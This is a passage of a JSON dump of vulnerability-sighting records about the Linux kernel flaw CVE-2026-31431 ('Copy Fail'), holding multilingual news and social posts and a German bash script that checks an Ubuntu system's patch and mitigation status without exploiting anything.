\u3068\u547c\u3070\u308c\u305f\u3053\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u4e0a\u306e\u6b20\u9665\u306f\u3001\u307b\u307c10\u5e74\u306b\u308f\u305f\u308a\u6f5c\u3093\u3060\u3082\u306e\u3067\u3042\u308a\u30012017 \u5e74\u4ee5\u964d\u3001\u3059\u3079\u3066\u306e Linux \u30c7\u30a3\u30b9\u30c8\u30ea\u30d3\u30e5\u30fc\u30b7\u30e7\u30f3\u306b\u5f71\u97ff\u3092\u53ca\u307c\u3057\u3066\u3044\u307e\u3059\u3002\n\n\u30ab\u30fc\u30cd\u30eb\u306e\u8a8d\u8a3cAEAD\u30c6\u30f3\u30d7\u30ec\u30fc\u30c8\u306b\u5f71\u97ff\u3092\u4e0e\u3048\u308b\u30d0\u30b0\u306b\u3088\u308a\u3001\u30b3\u30fc\u30c9\u5b9f\u884c\u6a29\u9650\u3092\u6301\u3064\u8a8d\u8a3c\u3055\u308c\u305f\u653b\u6483\u8005\u306f\u3001\u8aad\u307f\u53d6\u308a\u53ef\u80fd\u306a setuid\u2010root \u30d0\u30a4\u30ca\u30ea\u2026", "creation_timestamp": "2026-05-10T21:33:53.863691Z"}, {"uuid": "1f9baf88-90c5-4e00-a36f-7729b139710b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mljppobf6s2g", "content": "\u7c73\u56fdCISA\u306f\u3001\u65e2\u77e5\u306e\u60aa\u7528\u8106\u5f31\u6027\u30ab\u30bf\u30ed\u30b0\u306bLINUX\u30ab\u30fc\u30cd\u30eb\u306e\u6b20\u9665\u3092\u8ffd\u52a0\u3057\u307e\u3057\u305f\n\n\u7c73\u56fd\u30b5\u30a4\u30d0\u30fc\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30fb\u30a4\u30f3\u30d5\u30e9\u30b9\u30c8\u30e9\u30af\u30c1\u30e3\u30fc\u30fb\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u6a5f\u95a2\uff08CISA\uff09\u306f\u3001Linux\u30ab\u30fc\u30cd\u30eb\u306e\u6b20\u9665\u3092\u65e2\u77e5\u306e\u60aa\u7528\u8106\u5f31\u6027\u30ab\u30bf\u30ed\u30b0\u306b\u8ffd\u52a0\u3057\u307e\u3057\u305f\u3002\n\n\u7c73\u56fd\u30b5\u30a4\u30d0\u30fc\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30fb\u30a4\u30f3\u30d5\u30e9\u30b9\u30c8\u30e9\u30af\u30c1\u30e3\u30fc\u30fb\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u6a5f\u95a2\uff08CISA\uff09\u306f\u3001Linux \u30ab\u30fc\u30cd\u30eb\u306b\u8106\u5f31\u6027\uff08CVE-2026-31431\uff08CVSS\u30b9\u30b3\u30a27.8\uff09\u3067\u8ffd\u8de1\uff09\u3092\u3001\u65e2\u77e5\u306e\u60aa\u7528\u8106\u5f31\u6027\uff08KEV\uff09\u30ab\u30bf\u30ed\u30b0\u306b\u8ffd\u52a0\u3057\u307e\u3057\u305f\u3002\n\n\u6700\u8fd1\u3001Xint Code \u306e\u7814\u7a76\u8005\u306f\u3001CVE-2026-31431 \u3068\u3057\u3066\u8ffd\u8de1\u3055\u308c\u308b\u6df1\u523b\u306a Linux \u306e\u6b20\u9665\u304c\u30b3\u30d4\u30fc\u5931\u6557\u3068\u547c\u3070\u308c\u308b\u2026", "creation_timestamp": "2026-05-10T21:36:16.312087Z"}, {"uuid": "93a18e79-b4a2-4002-8f95-42ba2203f1c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/technoholic.bsky.social/post/3mljw3s4ynu2j", "content": "New unpatched Linux kernel LPE flaw, 'Dirty Frag', is a successor to CVE-2026-31431 (CVSS 7.8). Actively exploited in the wild. Reported to kernel maintainers. Stay vigilant!", "creation_timestamp": "2026-05-10T23:30:24.011800Z"}, {"uuid": "8c43fcd8-7bc9-4dcb-9aeb-861fc354f0b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/linux.activitypub.awakari.com.ap.brid.gy/post/3mlk7e5vfir32", "content": "Copy Fail (CVE-2026-31431): Frequently asked questions about Linux kernel privilege escalation vulnerability A flaw in the Linux kernel present since 2017 allows a local user to gain root access on...\n\n\nOrigin | Interest | Match", "creation_timestamp": "2026-05-11T02:16:11.002622Z"}, {"uuid": "aafc652d-6bc9-448e-81b1-551300eeba28", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/linux.activitypub.awakari.com.ap.brid.gy/post/3mlk7psdid6r2", "content": "Dirty Frag (CVE-2026-43284, CVE-2026-43500): Mitigation and Kernel Update on CloudLinux A week after Copy Fail (CVE-2026-31431), researcher Hyunwoo Kim disclosed a second Linux kernel local privil...\n\n#KernelCare #CVE #Vulnerability #Kernel #Update #AlmaLinux #CloudLinux\n\nOrigin | Interest | Match", "creation_timestamp": "2026-05-11T02:22:41.778892Z"}, {"uuid": "b99e1e11-cc9c-49d1-9286-d42f6582421b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mlka652tl522", "content": "Top 3 CVE for last 7 days:\nCVE-2026-31431: 141 interactions\nCVE-2026-43284: 122 interactions\nCVE-2026-43500: 84 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-42511: 56 interactions\nCVE-2024-13362: 4 interactions\nCVE-2026-29201: 3 interactions\n", "creation_timestamp": "2026-05-11T02:30:39.061058Z"}, {"uuid": "7b467790-afe4-4098-b6ac-3c6cfaa42446", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/83734", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-31431\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Lutfifakee-Project\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-11 01:30:35\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-31431 - Linux Kernel Page Cache Vulnerability\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-11T02:00:04.000000Z"}, {"uuid": "91442b44-bec3-4da1-bd05-db4f17503abd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/evilbitlabs.io/post/3mlkdi2kr2k2l", "content": "This week's Threat Digest: Copy Fail (CVE-2026-31431) gives any Linux user root and walks through container boundaries. Plus AiTM phishing at 35K users, cPanel on KEV, DPRK laptop farm sentencings. CISA deadline for Copy Fail is Thursday.\n\nnews.evilbitlabs.io/2026-05-10-e...", "creation_timestamp": "2026-05-11T03:29:53.655024Z"}, {"uuid": "02ef0846-21e8-412e-9cb0-16f7b1a3a074", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/Q5Ca/4b05c80320c52225684791fc3ae2fa1e", "content": "", "creation_timestamp": "2026-05-11T03:35:32.000000Z"}, {"uuid": "aace9b07-08f3-4a9a-8090-939af202e0fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/Q5Ca/586fa0a188386f1fd13461d67d6fe6de", "content": "", "creation_timestamp": "2026-05-11T03:38:31.000000Z"}, {"uuid": "12cab1f9-09d2-4aa4-9327-43a698580430", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260511", "content": "", "creation_timestamp": "2026-05-10T18:00:00.000000Z"}, {"uuid": "ec5fa60a-2a1b-4f20-9324-f11c82ddbb6c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31283", "type": "seen", "source": "Telegram/TpD_EhiVvoRRT5pQQyvb-1r61ahWr8WRyHVAuHr5I07s1ek", "content": "", "creation_timestamp": "2026-08-30T00:00:12.217929Z"}, {"uuid": "101c25b5-b585-41fa-a0aa-2968bcf5954a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/ruari.velocipederider.com.ap.brid.gy/post/3mlkroxxmpot2", "content": "I upgraded my kernel for Copy Fail (CVE-2026-31431) not that long ago.\n\nNow I am upgrading again for Dirty Frag (CVE-2026-43284 and CVE-2026-43500).\n\nI hope things clam down a bit now but I guess we shall see\u2026", "creation_timestamp": "2026-05-11T07:47:08.025911Z"}, {"uuid": "8d6d96ae-d8bf-4fba-b54c-a48bea9a46a7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/CaZ2R0Efl1eBRVqO-sOZ66dFvtq0H_ENlFRwe45W-O_e0iQ", "content": "", "creation_timestamp": "2026-07-31T22:00:02.957522Z"}, {"uuid": "1d630eae-ffc7-484d-b3d1-76e949dda2c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/walleralexander/d880563c357deab2c385b6f5f35cc254", "content": "#!/usr/bin/env bash\n# check-copy-fail.sh\n# Nicht-destruktive Pr\u00fcfung auf CVE-2026-31431 (\"Copy Fail\") f\u00fcr Ubuntu. \n# Fragt automatisch die Ubuntu Security API ab und vergleicht Versionen.\n# Kein Exploit, keine \u00c4nderungen am System.\n\nset -u\n\nCVE_ID=\"CVE-2026-31431\"  \nAPI_URL=\"https://ubuntu.com/security/cves/${CVE_ID}.json\"  \n\n# --- Argumente ---------------------------------------------------------------\nVERBOSE=0\nfor arg in \"$@\"; do  \n    case \"$arg\" in  \n        -v|--verbose) VERBOSE=1 ;;\n        -h|--help)\n            cat </dev/null 2>&1 || MISSING=\"$MISSING $tool\"  \ndone\n[ -n \"$MISSING\" ] && warn \"Fehlende Tools:$MISSING\"  \n\n# --- 1. Distribution + Release-Codename --------------------------------------\necho \"${B}[1/5] Distribution${N}\"  \nRELEASE_CODENAME=\"\"  \nif [ -r /etc/os-release ]; then\n    . /etc/os-release\n    info \"$PRETTY_NAME\"  \n    RELEASE_CODENAME=\"${UBUNTU_CODENAME:-${VERSION_CODENAME:-}}\"  \n    info \"Codename: ${RELEASE_CODENAME:-unbekannt}\"  \n    [ \"${ID:-}\" != \"ubuntu\" ] && warn \"Nicht Ubuntu \u2014 Ergebnisse evtl. ungenau.\"  \nelse\n    warn \"/etc/os-release nicht lesbar.\"  \nfi\necho\n\n# --- 2. Kernel-Version + installiertes Paket ---------------------------------\necho \"${B}[2/5] Kernel & Paket${N}\"  \nKVER=$(uname -r)\ninfo \"Laufender Kernel: $KVER\"  \n\nKPKG=\"linux-image-${KVER}\"  \nINSTALLED_VER=\"\"  \nSOURCE_PKG=\"\"  \nif dpkg-query -W -f='${Version}' \"$KPKG\" >/dev/null 2>&1; then  \n    INSTALLED_VER=$(dpkg-query -W -f='${Version}' \"$KPKG\")  \n    SOURCE_PKG=$(dpkg-query -W -f='${source:Package}' \"$KPKG\" 2>/dev/null)  \n\n    # Ubuntu trackt CVEs unter dem unsignierten Kernel-Source-Paket.\n    # 'linux-signed-hwe-6.17' -> 'linux-hwe-6.17' \n    # 'linux-signed'          -> 'linux' \n    # 'linux-signed-aws'      -> 'linux-aws' \n    SOURCE_PKG_TRACK=$(echo \"$SOURCE_PKG\" | sed -E 's/^linux-signed(-|$)/linux\\1/; s/-$//')  \nelse\n    warn \"Kernel-Paket nicht via dpkg auffindbar (Custom-Kernel?).\"  \n    SOURCE_PKG_TRACK=\"\"  \nfi\n\nREBOOT_PENDING=0\nif [ -f /var/run/reboot-required ]; then\n    warn \"Reboot ausstehend \u2014 neuer Kernel erst nach Reboot aktiv!\"  \n    REBOOT_PENDING=1\nfi\necho\n\n# --- 3. Patch-Status via Ubuntu Security API ---------------------------------\necho \"${B}[3/5] Patch-Status (Ubuntu Security API)${N}\"  \nPATCH_STATUS=\"unknown\"  \nKMOD_FIX_STATUS=\"unknown\"   # 'patched' | 'vulnerable' | 'unknown'  \nFIXED_VER=\"\"  \n\nif [ -n \"$RELEASE_CODENAME\" ] && command -v curl >/dev/null && command -v python3 >/dev/null; then  \n\n    info \"Frage $API_URL ab...\"  \n    JSON=$(curl -fsSL --max-time 10 \"$API_URL\" 2>/dev/null || echo \"\")  \n\n    if [ -n \"$JSON\" ]; then  \n        # --- 3a: kmod-Mitigation (USN-8226-1) pr\u00fcfen ------------------------\n        # Ubuntu liefert die Mitigation aktuell nur \u00fcber das kmod-Paket,\n        # das algif_aead via modprobe.d blockiert. Das steht in 'notices'. \n        KMOD_FIX_VER=$(printf '%s' \"$JSON\" | REL=\"$RELEASE_CODENAME\" python3 -c '  \nimport json, sys, os\ntry: data = json.load(sys.stdin)\nexcept Exception: sys.exit(0)\nrel = os.environ[\"REL\"]  \nfor n in data.get(\"notices\", []):  \n    rps = n.get(\"release_packages\", {}).get(rel, [])  \n    for p in rps:\n        if p.get(\"name\") == \"kmod\" and p.get(\"is_source\"):  \n            print(p.get(\"version\", \"\")); sys.exit(0)  \n' 2>/dev/null)  \n\n        if [ -n \"$KMOD_FIX_VER\" ]; then  \n            INSTALLED_KMOD=$(dpkg-query -W -f='${Version}' kmod 2>/dev/null || echo \"\")  \n            if [ -n \"$INSTALLED_KMOD\" ]; then  \n                if dpkg --compare-versions \"$INSTALLED_KMOD\" ge \"$KMOD_FIX_VER\"; then  \n                    ok \"kmod-Mitigation ist installiert (USN-8226-1).\"  \n                    KMOD_FIX_STATUS=\"patched\"  \n                else\n                    vuln \"kmod-Mitigation FEHLT \u2014 installiert: $INSTALLED_KMOD, ben\u00f6tigt: $KMOD_FIX_VER\"  \n                    KMOD_FIX_STATUS=\"vulnerable\"  \n                fi\n            else\n                warn \"kmod-Paket nicht gefunden \u2014 Mitigation-Status unklar.\"  \n            fi\n        fi\n\n        # --- 3b: Kernel-Patch pr\u00fcfen ----------------------------------------\n        CANDIDATES=\"$SOURCE_PKG_TRACK\"  \n        case \"$SOURCE_PKG_TRACK\" in  \n            linux-hwe-*|linux-hwe)\n                CANDIDATES=\"$CANDIDATES linux-hwe linux\"  \n                ;;\n            linux-aws*|linux-azure*|linux-gcp*|linux-oracle*)\n                CANDIDATES=\"$CANDIDATES linux\"  \n                ;;\n        esac\n\n        RESULT=\"\"  \n        MATCHED_PKG=\"\"  \n        if [ -n \"$SOURCE_PKG_TRACK\" ]; then  \n            for cand in $CANDIDATES; do\n                R=$(printf '%s' \"$JSON\" | SRC=\"$cand\" REL=\"$RELEASE_CODENAME\" python3 -c '  \nimport json, sys, os\ntry: data = json.load(sys.stdin)\nexcept Exception as e: print(\"ERROR|\"+str(e)); sys.exit(0)  \nsrc = os.environ[\"SRC\"]; rel = os.environ[\"REL\"]  \nfor pkg in data.get(\"packages\", []):  \n    if pkg.get(\"name\") != src: continue  \n    for st in pkg.get(\"statuses\", []):  \n        if st.get(\"release_codename\") == rel:  \n            print(f\"{st.get(\\\"status\\\",\\\"?\\\")}|{st.get(\\\"description\\\",\\\"\\\") or \\\"\\\"}\")  \n            sys.exit(0)\nprint(\"not_found|\")  \n' 2>/dev/null)  \n                S=$(echo \"$R\" | cut -d'|' -f1)  \n                if [ \"$S\" != \"not_found\" ] && [ \"$S\" != \"ERROR\" ] && [ -n \"$S\" ]; then  \n                    RESULT=\"$R\"; MATCHED_PKG=\"$cand\"; break  \n                fi\n            done\n        fi\n\n        [ -z \"$RESULT\" ] && RESULT=\"not_found|\"  \n        STATUS=$(echo \"$RESULT\" | cut -d'|' -f1)  \n        DESCR=$(echo \"$RESULT\" | cut -d'|' -f2-)  \n        [ -n \"$MATCHED_PKG\" ] && [ \"$MATCHED_PKG\" != \"$SOURCE_PKG_TRACK\" ] && info \"Kernel-Treffer unter Fallback: $MATCHED_PKG\"  \n\n        case \"$STATUS\" in  \n            released)\n                ok \"Kernel-Patch verf\u00fcgbar.\"  \n                [ -n \"$DESCR\" ] && info \"Gefixte Kernel-Version: $DESCR\"  \n                FIXED_VER=\"$DESCR\"  \n                if [ -n \"$INSTALLED_VER\" ] && [ -n \"$FIXED_VER\" ]; then  \n                    if dpkg --compare-versions \"$INSTALLED_VER\" ge \"$FIXED_VER\"; then  \n                        ok \"Kernel installiert ($INSTALLED_VER) >= Fix ($FIXED_VER) \u2192 GEPATCHT\"  \n                        PATCH_STATUS=\"patched\"  \n                    else\n                        vuln \"Kernel installiert ($INSTALLED_VER) < Fix ($FIXED_VER)\"  \n                        PATCH_STATUS=\"vulnerable\"  \n                    fi\n                fi\n                ;;\n            needed|pending|deferred)\n                info \"Kernel-Patch von Ubuntu: noch nicht ver\u00f6ffentlicht.\"  \n                info \"(Status im Tracker: $STATUS)\"  \n                PATCH_STATUS=\"kernel_pending\"  \n                ;;\n            \"not-affected\"|DNE)  \n                ok \"Kernel-Status: $STATUS \u2014 Release/Paket ist nicht betroffen.\"  \n                PATCH_STATUS=\"not_affected\"  \n                ;;\n            ignored)\n                warn \"Kernel-Status: ignored \u2014 siehe Ubuntu-Tracker.\"  \n                ;;\n            ERROR|not_found|\"\")  \n                info \"Kernel-Patch von Ubuntu: noch nicht ver\u00f6ffentlicht.\"  \n                PATCH_STATUS=\"kernel_pending\"  \n                ;;\n            *)\n                warn \"Unbekannter Status: $STATUS\"  \n                ;;\n        esac\n    else\n        warn \"API-Abruf fehlgeschlagen \u2014 Internetverbindung pr\u00fcfen.\"  \n    fi\nelse\n    warn \"API-Check \u00fcbersprungen (fehlende Daten oder Tools).\"  \nfi\necho\n\n# --- 4. algif_aead Modul-Status ----------------------------------------------\necho \"${B}[4/5] algif_aead Modul${N}\"  \nMOD_LOADED=0\nif lsmod 2>/dev/null | grep -q '^algif_aead'; then  \n    MOD_LOADED=1\nfi\n\nBLACKLISTED=0\nif grep -rqsE '^(blacklist[[:space:]]+algif_aead|install[[:space:]]+algif_aead[[:space:]]+/bin/(false|true))' /etc/modprobe.d/ /usr/lib/modprobe.d/ /run/modprobe.d/ 2>/dev/null; then  \n    BLACKLISTED=1\nfi\n\n# Zusammenfassende Bewertung der beiden Checks\nif [ \"$MOD_LOADED\" -eq 0 ] && [ \"$BLACKLISTED\" -eq 1 ]; then  \n    ok \"Modul ist nicht geladen und blockiert \u2014 Angriffsweg zu.\"  \nelif [ \"$MOD_LOADED\" -eq 1 ] && [ \"$BLACKLISTED\" -eq 1 ]; then  \n    warn \"Modul ist GELADEN, obwohl blockiert \u2014 wird beim n\u00e4chsten Reboot entladen.\"  \nelif [ \"$MOD_LOADED\" -eq 0 ] && [ \"$BLACKLISTED\" -eq 0 ]; then  \n    warn \"Modul ist nicht geladen, aber NICHT blockiert \u2014 kann jederzeit nachgeladen werden!\"  \nelse\n    vuln \"Modul ist GELADEN und nicht blockiert \u2014 System angreifbar!\"  \nfi\necho\n\n# --- 5. Gesamtbewertung -------------------------------------------------------\necho \"${B}[5/5] Gesamtbewertung${N}\"  \necho\n\ncase \"$PATCH_STATUS\" in  \n    patched)\n        if [ \"$REBOOT_PENDING\" -eq 1 ]; then  \n            echo \"  ${B}${Y}\u00bb Status: TEILWEISE GESCH\u00dcTZT \u2014 REBOOT N\u00d6TIG${N}\"  \n            echo\n            echo \"  ${B}Aktion:${N} sudo reboot  (sobald m\u00f6glich)\"  \n            if [ \"$VERBOSE\" -eq 1 ]; then  \n                echo\n                echo \"  Der gepatchte Kernel ist installiert, aber noch nicht aktiv.\"  \n                echo \"  Aktuell l\u00e4uft noch der alte Kernel.\"  \n                if [ \"$BLACKLISTED\" -eq 1 ] && [ \"$MOD_LOADED\" -eq 0 ]; then  \n                    echo \"  ${G}Bis zum Reboot sch\u00fctzt dich die Modul-Blacklist.${N}\"  \n                else\n                    echo \"  ${R}ACHTUNG: Ohne Modul-Blacklist bist du bis zum Reboot verwundbar!${N}\"  \n                fi\n            fi\n        else\n            echo \"  ${B}${G}\u00bb Status: VOLL GESCH\u00dcTZT (Kernel-Patch aktiv)${N}\"  \n            verbose \"\"  \n            verbose \"  Der gepatchte Kernel l\u00e4uft. Keine weitere Aktion n\u00f6tig.\"  \n        fi\n        ;;\n\n    not_affected)\n        echo \"  ${B}${G}\u00bb Status: NICHT BETROFFEN${N}\"  \n        ;;\n\n    kernel_pending)\n        if [ \"$KMOD_FIX_STATUS\" = \"patched\" ] && [ \"$BLACKLISTED\" -eq 1 ] && [ \"$MOD_LOADED\" -eq 0 ]; then  \n            echo \"  ${B}${G}\u00bb Status: GESCH\u00dcTZT (durch Mitigation, JETZT)${N}\"  \n            if [ \"$VERBOSE\" -eq 1 ]; then  \n                echo\n                echo \"  ${B}Bist du jetzt sicher?${N} ${G}Ja, ab sofort.${N}\"  \n                echo \"  Der Angriff braucht das Kernel-Modul 'algif_aead'.\"  \n                echo \"  Dieses Modul ist nicht geladen UND kann nicht geladen werden\"  \n                echo \"  (Ubuntu hat es via kmod-Update USN-8226-1 blockiert).\"  \n                echo \"  \u2192 Der Angriffsweg ist ohne Reboot zu.\"  \n                echo\n                if [ \"$REBOOT_PENDING\" -eq 1 ]; then  \n                    echo \"  ${B}Reboot ausstehend \u2014 was bedeutet das?${N}\"  \n                    echo \"  Der Reboot-Hinweis stammt von einem ANDEREN Update,\"  \n                    echo \"  nicht vom Copy-Fail-Schutz. Du solltest trotzdem\"  \n                    echo \"  bei Gelegenheit neu starten, aber es ist kein Notfall.\"  \n                    echo\n                fi\n                echo \"  ${B}Was steht noch aus?${N}\"  \n                echo \"  Ubuntu wird einen echten Kernel-Patch nachliefern.\"  \n                echo \"  Sobald der da ist, einfach 'apt upgrade' + Reboot.\"  \n                echo \"  Bis dahin reicht die jetzige Mitigation aus.\"  \n                echo\n                echo \"  ${B}Hinweis:${N} 'apt upgrade' bringt aktuell KEINEN Kernel-Fix\"  \n                echo \"  f\u00fcr diese CVE \u2014 Ubuntu hat ihn schlicht noch nicht released.\"  \n                echo \"  Du bist trotzdem voll gesch\u00fctzt.\"  \n            fi\n        elif [ \"$BLACKLISTED\" -eq 1 ] && [ \"$MOD_LOADED\" -eq 0 ]; then  \n            echo \"  ${B}${Y}\u00bb Status: GESCH\u00dcTZT (manuelle Mitigation)${N}\"  \n            if [ \"$VERBOSE\" -eq 1 ]; then  \n                echo\n                echo \"  Modul-Blacklist greift, aber das offizielle kmod-Update\"  \n                echo \"  scheint nicht installiert zu sein. Empfehlung:\"  \n                echo \"    sudo apt update && sudo apt upgrade\"  \n            fi\n        else\n            echo \"  ${B}${R}\u00bb Status: VERWUNDBAR \u2014 JETZT HANDELN!${N}\"  \n            echo\n            echo \"  ${B}Sofort ausf\u00fchren:${N}\"  \n            echo \"    sudo apt update && sudo apt upgrade\"  \n            if [ \"$VERBOSE\" -eq 1 ]; then  \n                echo\n                echo \"  ${B}Falls Update nicht m\u00f6glich, manuelle Notfall-Mitigation:${N}\"  \n                echo \"    echo 'install algif_aead /bin/false' | \\\\\"  \n                echo \"      sudo tee /etc/modprobe.d/disable-algif_aead.conf\"  \n                echo \"    sudo rmmod algif_aead 2>/dev/null || true\"  \n            fi\n        fi\n        ;;\n\n    vulnerable)\n        if [ \"$BLACKLISTED\" -eq 1 ] && [ \"$MOD_LOADED\" -eq 0 ]; then  \n            echo \"  ${B}${Y}\u00bb Status: GESCH\u00dcTZT (Mitigation), aber Patch fehlt${N}\"  \n            echo\n            echo \"  ${B}Aktion:${N} sudo apt update && sudo apt upgrade && sudo reboot\"  \n            verbose \"\"  \n            verbose \"  Modul-Blacklist greift, daher kein akutes Risiko.\"  \n            verbose \"  Trotzdem zeitnah patchen.\"  \n        else\n            echo \"  ${B}${R}\u00bb Status: VERWUNDBAR \u2014 JETZT HANDELN!${N}\"  \n            echo\n            echo \"  ${B}Sofort ausf\u00fchren:${N} sudo apt update && sudo apt upgrade && sudo reboot\"  \n        fi\n        ;;\n\n    *)\n        echo \"  ${B}${Y}\u00bb Status: UNKLAR \u2014 bitte manuell pr\u00fcfen${N}\"  \n        echo\n        echo \"  $API_URL\"  \n        ;;\nesac\necho\n[ \"$VERBOSE\" -eq 0 ] && echo \"  (Mehr Details: $0 --verbose)\"  \necho\nexit 0\n", "creation_timestamp": "2026-05-11T08:18:58.000000Z"}, {"uuid": "db4ac1ca-4580-4da6-b73b-0799346ff9b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/pentestnotes/227", "content": "CVE-2026-31431\n\n29 \u0430\u043f\u0440\u0435\u043b\u044f \u0431\u044b\u043b\u0430 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u043e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 Copy Fail \u0432 \u044f\u0434\u0440\u0435 Linux \u0441 \u0443\u0440\u043e\u0432\u043d\u0435\u043c \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 7.8 CVSS. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u043c\u0443 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0430\u0432\u0430 \u0434\u043e root \u0438 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0441\u0435 Linux-\u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u044b. PoC \u043c\u043e\u0436\u043d\u043e \u043f\u043e\u0438\u0441\u043a\u0430\u0442\u044c \u0442\u0443\u0442.\n\n\u041d\u043e \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e \u0434\u0440\u0443\u0433\u043e\u0435. \u0421\u0435\u0433\u043e\u0434\u043d\u044f \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u043f\u0440\u043e\u0432\u0430\u0439\u0434\u0435\u0440\u044b \u0441\u0442\u0430\u043b\u0438 \u043c\u0430\u0441\u0441\u043e\u0432\u043e \u0440\u0430\u0441\u0441\u044b\u043b\u0430\u0442\u044c \u043f\u0438\u0441\u044c\u043c\u0430 \u0441\u0447\u0430\u0441\u0442\u044c\u044f, \u0447\u0442\u043e \u0432\u043e\u043e\u0431\u0449\u0435-\u0442\u043e \u0432\u0441\u0435 \u0432\u0430\u0448\u0438 VPS/VDS \u0443\u044f\u0437\u0432\u0438\u043c\u044b \u0438 \u043f\u0430\u0442\u0447\u0430 \u043d\u0435\u0442.\n\n\u041f\u0440\u0438\u043c\u0435\u0447\u0430\u0442\u0435\u043b\u044c\u043d\u043e, \u0447\u0442\u043e \u043d\u0430\u0447\u0430\u043b\u043e \u0440\u0430\u0441\u0441\u044b\u043b\u043a\u0438 \u0441\u043e\u0432\u043f\u0430\u043b\u043e \u0441 \u0432\u0437\u043b\u043e\u043c\u043e\u043c \u043e\u0434\u043d\u043e\u0433\u043e (\u0432\u0441\u0435 \u0441\u043e\u0432\u043f\u0430\u0434\u0435\u043d\u0438\u044f \u0441\u043b\u0443\u0447\u0430\u0439\u043d\u044b) 